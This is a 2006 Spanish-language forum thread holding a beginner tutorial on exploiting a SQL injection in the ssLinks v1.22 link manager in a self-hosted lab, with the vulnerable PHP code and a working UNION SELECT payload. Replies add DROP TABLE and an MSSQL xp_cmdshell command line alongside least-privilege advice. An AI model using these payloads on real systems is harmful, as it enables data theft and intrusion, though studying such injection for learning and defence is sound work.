SQL Injection para principiantes, ejemplos en aplicaciones reales.

Iniciado por Ertai, 27 Septiembre 2006, 23:33 PM

0 Miembros y 2 Visitantes están viendo este tema.

Valora el artículo :)

Excelente
70 (64.2%)
Bueno
25 (22.9%)
Pasable
7 (6.4%)
Malo
0 (0%)
Pésimo
7 (6.4%)

Total de votos: 100

Ertai

Atacando a una aplicación real. El como y el porque de las inyecciones SQL.

Prefacio

Este artículo tiene como objetivo, hacer saber al lector, que es lo que pasa exactamente dentro de la aplicación cuando hacemos una inyección SQL. De esta manera, pretendo evitar que el lector haga simples copy&paste para atacar a una web y que en algún momento tenga los conocimientos necesarios para poder modificar la sentencia a su antojo.

El programa que atacaremos [ssLinks v1.22 - http://scripts.incutio.com/sslinks/] contiene una vulnerabilidad encontrada por SirDarckCat el día 4 de septiembre del 2006.

Nivel

Principiante.

Herramientas necesarias


  • Bloc de notas o editor de texto.
  • Servidor web donde alojar PHP y poder ejecutarlo con MySQL. (Puedes crearte una cuenta en un hosting gratuito o montarte tu propio servidor web)
  • ssLinks v1.22 - http://scripts.incutio.com/sslinks/sslinks-v122.zip
  • Ganas de aprender  ;D

Montando el escenario

Primero extraemos todos los ficheros del archivo zip dentro de nuestro servidor local o los subimos a nuestra cuenta de hosting. Lo mismo da, lo importante es poder ejecutar el programa desde un navegador web.



Una vez extraídos o subidos, abrimos desde el navegador el archivo install.php. Veremos algo parecido a lo siguiente:



Aquí debemos introducir nuestros datos de la base de datos. Si teneis una cuenta de hosting, estos datos os habrán llegado por mail o los tendreís en vuestro panel de administración. Si, en cambio, teneis un servidor local, estos datos los tendríais que saber  :P

Nota: Si por cualquier razón, a alguien no le funciona el install.php, aquí os dejo los 3 pasos que tendreis que hacer a mano.

Ejecutar estas dos sentencias SQL desde un interprete para MySQL o desde el phpMyAdmin.


CREATE TABLE sslinkcats (
   lcat_id int(11) NOT NULL auto_increment,
   lcat_cat int(11) DEFAULT '0' NOT NULL,
   lcat_name varchar(100) NOT NULL,
   lcat_header text,
   lcat_ranking int(11),
   lcat_numlinks int(11) DEFAULT '0' NOT NULL,
   PRIMARY KEY (lcat_id)
)



CREATE TABLE sslinks (
   link_id int(11) NOT NULL auto_increment,
   link_cat int(11) DEFAULT '0' NOT NULL,
   link_name varchar(100) NOT NULL,
   link_url varchar(255) NOT NULL,
   link_desc text,
   link_hits int(11) DEFAULT '0' NOT NULL,
   link_totalrate int(11),
   link_numvotes int(11),
   link_dateadd int(11),
   link_addemail varchar(255),
   link_addname varchar(100),
   link_validated char(3),
   link_recommended char(3) DEFAULT 'no' NOT NULL,
   PRIMARY KEY (link_id)
)


Y por último, cambiar estas líneas del archivo global.inc.php:


// mySQL database Host / Name / Username / Password

$db_host = "localhost"; // Your mySQL server host address
$db_name = "sslinks"; // The name of the database to use
$db_user = "username"; // Your mySQL username
$db_pass = "password"; // Your mySQL password


Más adelante nos pedirá el nombre de usuario y el password que queremos para ssLinks. Si no habeís usado el instalador, dejadlo, porque al ser una aplicación de prueba, dejaremos estos dos valores por defecto.

Una vez instalado todo, podemos borrar tranquilamente el archivo install.php y entramos en el links.php.
Veremos algo así:



Si vamos a Admin Login nos salen unos valores por defecto, los aceptamos si no hemos usado el instalador, y si no, introducimos los que pusimos.

Igualmente estos datos se pueden encontrar en el archivo global.inc.php


// Admin username / password for the script

$admin_user = "Admin"; // This is the username used to log in as an admin
$admin_pass = "sslinks"; // This is the password used to log in as an admin


Una vez loggeados como administradores, veremos un panel para agregar categorías y links. Nosotros agregaremos 3 links diferentes para hacer las pruebas.



Ok. Perfecto. Logout y tenemos el escenario montado  :D

Antes de empezar hacer varios clicks sobre el primer link que hayais puesto (ID=1), para ver luego el ataque final. (lo veremos más adelante)

El ataque

Empezemos lo divertido  :D

Antes que nada miremos lo primero de todo. Los links, no redireccionan a la página directamente sino que pasan por la misma página otra vez con un argumento "go".



Lo veis? Este link nos envia a links.php?go=ID donde cada link tiene su ID. Así mismo, es de imaginar la estructura del programa:

Link a la página -> Llegamos al mismo sitio pero con el argumento go -> Nos lleva a la página que pertenece el ID.

De esta manera, el programa puede llevar unas estadísticas sobre los clicks que se han hecho al link en questión.

Pues bien, miremos primero de todo si la variable go es vulnerable.

Abrimos el archivo links.php:


<?php
/***********************************************************
*
* ssLinks v1.1 - a PHP / mySQL links management system
* (c) Simon Willison 2001
* For more information, visit www.tfc-central.co.uk/sslinks/
*
***********************************************************/

// See global.inc.php for changes since version 1.0.

include("global.inc.php"); //Change this if global.inc.php is in a different directory

// You should not need to change anything below this line.

$admin is_admin();
$return numlinks_array(); // Build array of number of links in each category
$numlinks $return[0];
$numlinkstree $return[1];

if ((!
$cat) && (!$go) && (!$action))
$cat 0;

if (isset(
$go))
{
jump_to($go);
}

if (
$action == "login")
{
if ($username)
login($username$password);
}

...

?>



Ahora toca pensar como una máquina  :-*

Ok, como podeis ver, en la línea 24, pone if(isset($go)). Expliquemos un poco esto. La función isset() devuelve true cuando la variable que le pasamos como argumento esta declarada. Como hemos visto que el programa pasaba como argumento la variable "go", es evidente que la función isset devolverá, en este caso, true. Con lo que nos queda que la variable $go, será enviada a una función jump_to().

Si os fijais, la función jump_to() no está declarada en links.php, por lo tanto ha tenido que ser incluida, cosa que podemos ver en la línea 12...

include("global.inc.php");

Pues nos toca buscar esta función en tal archivo.

Abrimos el archivo global.inc.php y... sorpresa!

En la línea 543 encontramos la función!


<?php
function jump_to($id)
{
// redirect user to URL of $id and increment the hit counter
global $db_host$db_name$db_user$db_pass;
$cnx mysql_connect($db_host$db_user$db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name$cnx)
or custom_die("Unable to select database.");
$result mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num mysql_num_rows($result);
if ($num == 0)
{
header("Location: links.php");
exit;
}
while ($row mysql_fetch_array($result))
{
$hits $row["link_hits"];
$url $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
header("Location: $url");
exit;
}
?>



Y una breve explicación de lo que hace (redirect user to URL of $id and increment the hit counter).

Excelente! Es justo lo que habíamos deducido: la variable go llega al archivo, se consulta a la base de datos que URL esta asociada a tal ID, y nos redirije a ella, despues de haber incrementando el contador.

Nota: Ahora en la función, la variable $go cambia de nombre por la cabecera de la función y pasa a llamarse $id. Esto no nos afectará...

Impresionante! Hemos encontrado nuestro primer bug!! Lo veís todos? Si, si...

$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");

La variable $id se pasa como sentencia SQL sin estar limpiada!!

Ok, antes de continuar, haremos tres cosas básicas. Supondremos que en nuestro servidor tenemos las magic_quotes desactivadas, por que en caso contrario sería imposible inyectar código.

La segunda será imprimir en pantalla la sentencia SQL, y la tercera anular los header, para que no nos redirija a ningún lado  (de momento)

Para ello, modificar la función de tal manera que quede así:


<?php
function jump_to($id)
{
        $id stripslashes($id);
// redirect user to URL of $id and increment the hit counter
global $db_host$db_name$db_user$db_pass;
$cnx mysql_connect($db_host$db_user$db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name$cnx)
or custom_die("Unable to select database.");
echo "SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'";
$result mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num mysql_num_rows($result);
if ($num == 0)
{
//header("Location: links.php");
exit;
}
while ($row mysql_fetch_array($result))
{
$hits $row["link_hits"];
$url $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
//header("Location: $url");
exit;
}
?>



Lo que hemos hecho es lo siguiente. Con la función stripslashes() evitamos el efecto de las magic_quotes sobre la variable $id y más adelante imprimimos simplemente la consulta SQL antes de enviarla al MySQL. Además comentamos los headers para poder ver el efecto que tiene nuestro ataque, porque sino nos redirije.

Perfecto... Empezemos a hacer pruebas!

En nuestro navegador escribamos...

http://localhost/sslinks-v122/links.php?go=ertai r00lz XD

Y que sale?

SELECT link_url, link_hits FROM sslinks WHERE link_id = 'ertai r00lz XD'

Esto es la consulta SQL que hemos enviado. Como veis la variable no ha sido limpiada. Y aquí esta el bug.

Que significa no limpiar la variable? Pues en este caso el programador esperaba recibir un número, pero nosotros como "curiosos" le enviamos una cadena de texto y el programa no se queja. Nuestro objetivo es enviar una cadena de texto que sea capaz de sacar datos de la base de datos. Y en eso consisten las inyecciones SQL.

Un poco de SQL...

Podría escribir páginas enteras hablando de SQL pero se que aburre y la gente quiere algo práctico.

Pues bien, (casi) toda inyección comenza con un UNION. Porque? Porque nosotros sabemos que podemos insertar código a traves de la variable go. El resto de la instrucción SQL no es modificable, por lo tanto, tendremos que adaptarnos nosotros a ella. Por eso el uso de UNION. Union "concatena" por así decir los resultados de diferentes instrucciones SQL.

Supongamos que nuestra aplicación, funcionando normalmente, esta preparada para UN SOLO RESULTADO. Porqué? Porque en condiciones normales, solo hay un ID, que devuelve la URL a la cual queremos ir (el link) y NO mas resultados.

Por eso, nosotros tendremos que hacer que la SQL original (la primera) NO de resultados (-¡pero tampoco error!-) y que la nuestra inyectada devuelve UN resultado y así en el código todo cuadrara.

Además, el número de campos para seleccionar en nuestra consulta inyectada debe ser el mismo, ya que el resource devuelto (el resultado) ha de ser "quadrado".



P: Como hacemos que la consulta primera no de resultado ni error?
R: Pues cojemos un ID imposible, como -1 (menos uno)

P: Como cojemos nuestros datos?
R: Pues para mostrar como funciona esto, cojeremos como ejemplo los hits del ID=1.

P: Pero si los hits del ID=1 es solo un campo, y necesitamos dos.
R: Cierto, así que usaremos un pequeño truco  :P

Manos a la obra:


SELECT link_url, link_hits FROM sslinks WHERE link_id = 'AQUI PODEMOS INYECTAR'


Ok, hacemos el UNION SELECT y cojemos el campo hits de la misma tabla.

SELECT link_url, link_hits FROM sslinks WHERE link_id = '-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1'

Ahora esta claro, no? Le decimos que coja los datos del -1, lo cual devolverá un resultado vacío porque no existe el -1, y pasara al UNION... si os fijais, el primer campo link_hits corresponde al link_url de la primera, para que nos redirija a una URL que no será ni nada mas ni nada menos que los hits del id = 1. El segundo campo, cojemos otra vez los hits, para cuadrar con la primera instrucción SQL.

Por lo tanto, si extraemos la SQL inyectada del trozo inyectable de la primera queda que lo que hemos de poner entre los '' es lo siguiente:

-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1

Si os fijais bien, faltan la primera comilla del -1 y la ultima del 1, eso es para que cuadre con las que hay en la sentencia SQL original.

Si todo va bien, nos intentara llevar a una URL que resultara ser el número de visitas del ID=1. Para eso, quitad las // (doble barras) que habíamos puesto delante de los dos header() dentro de la función y guardad, el resto de modificaciones dejadlas. Los headers harán que nos redirijan.

Por lo tanto, escribid en vuestro navegador:

http://RUTA_DONDE_TENGAIS_SSLINKS/links.php?go=-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1

Y como veis nos intenta llevar a:

http://RUTA_DONDE_TENGAIS_SSLINKS/numero

... donde numero es el numero de visitas del link con ID=1.

Podeis hacer más visitas reales y luego volver a inyectar y vereis como el numero sube, porque son los hits.

Ahora esto no tiene mucha lógica, pero imaginaos si en vez de sacar el numero de hits, nos redijiera al hash del password del admin. La cosa cambia, no? jeje.

Pues eso es todo. Espero poder tener tiempo para ir modificando todo y hacerlo más claro, aunque creo que si os poneis lo acabareis sacando.

Recordad que podeis postear cualquier duda, pero intentad antes resolverla por vuestra cuenta. Si habeis leido el texto bien, os habreis dado cuenta de que el hacking es también astucia e imaginación, saber encontrar el truco donde nadie lo habría pensado. Por eso no es nada mecánico, y la única manera de poder sacar las cosas solo, es intentarlo e intentarlo e intentarlo, hasta agotar las ideas y luego preguntar.

Agradecimientos

A todo el staff de elhacker.net, aquellos que están y los que estuvieron.

Y gracias a vosotros por haber llegado hasta esta última linea.

Un saludo,
Ertai
---edit---
imagenes de imageshack regresadas :P
Si la felicidad se comprara, entonces el dinero sería noble.


void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}

sirdarckcat

juaz usaste mi bug xD

esta muy completo :P (hasta dibujitos le pusiste!)
Lo voy a agregar a la biblioteca, y las imagenes las subo como anexas (para que siempre esten ON)

Saludos!!

Ertai

Gracias Sdc, eso es porque un día me puse a explotar los bugs que ibas encontrando  :P
Si la felicidad se comprara, entonces el dinero sería noble.


void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}

Azielito

am..., tengo una duda muy general de inyecciones SQL, hasta que grado puede afectar este tipo de ataques?
se puede hacer un
SHUTDOWN?
un cambio de contraseña del MySQL Server?
un DROP?

Estoy de acuerdo que depende de los permisos del usuario con el que te conectas, pero y si es 'root' ?

sirdarckcat

Azielito

en PHP pues.. DROP, solo si se ejecuta en ciertos contextos, pero si usas el tipico mysql_connect, mysql_query("SELECT etc.. no puedes hacer DROP

el cambio de password, y demas, denuevo, en PHP, si lo ejecutas con privilegios de root, en ciertos escenarios tambien seria posible.

con decirte, que puedes manipular archivos, ya debes de ver la peligrosidad de ejecutar como root un server mysql.

la opcion, es correr las cosas con los minimos privilegios posibles..

incluso llegue a leer que hagas un usuario para leer, otro para escribir, otro para modificar, etc.. de esta forma a un atacante le seria muy dificil hacer demasiado daño. (pero.. la verdad me daria flojera hacer 3 usuarios por tabla)..

la sugerencia final, es que si vas a ejecutar un server mysql, lo hagas sin ser root.

ademas, si es MSSQL. pues debes tener mucho cuidado, ya que ahi, si puedes ejecutar comandos de consola de forma extremadamente facil, si tienes los privilegios.

Saludos!!

Azielito

amm... ok, pero, valdria la pena hacer por lo menos dos usuarios, uno para el portal que seria solo SELECT y otro para el panel de administración [DROP,UPDATE e INSERT]

creo recordar algun comando de excecute o algo asi para MSSQL, no recuerdo bien :P pero si que



Hablando de DROPS, un gran gran bug de la página de el señor AMLO fue explotado por un 'amigo' que todos conocemos xD y hacia un DROP, al menos eso es lo que el 'amigo' decia, jamas fui a probarlo :P

supongo que de haber existido estaba bajo esas "condiciones" para poder ejecutar un DROP xD

por cierto, como deberia ser para hacer un DROP? alguna consulta de eliminacion de registro?
tendre que estudiar mas sobre SQL :P

sirdarckcat

DROP TABLE nombre de tabla

la que redpoint exploto en la pagina del peje, fue un DROP, pero en un server plsql, que es diferente..

en MSSQL para ejecutar es:

exec master..xpcmdshell comando

Saludos!!

Alesiter

alguien puede revisar porfavor el post ,las imagenes no se muestran ,sera q solo me pasa a mi o esta asi,porfavor revisenlo

Ertai

A mi a veces tambien me pasa...

Es porque Sdc cambió las imagenes y las colgó, pero yo lo encuentro incómodo...  :-\

Saludos.
Si la felicidad se comprara, entonces el dinero sería noble.


void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}

el-brujo

el problema es que las imágenes adjuntas sólo las pueden ver los miembros registrados y sería mejor linkearlas a otro sitio para que todo el mundo pueda verlas.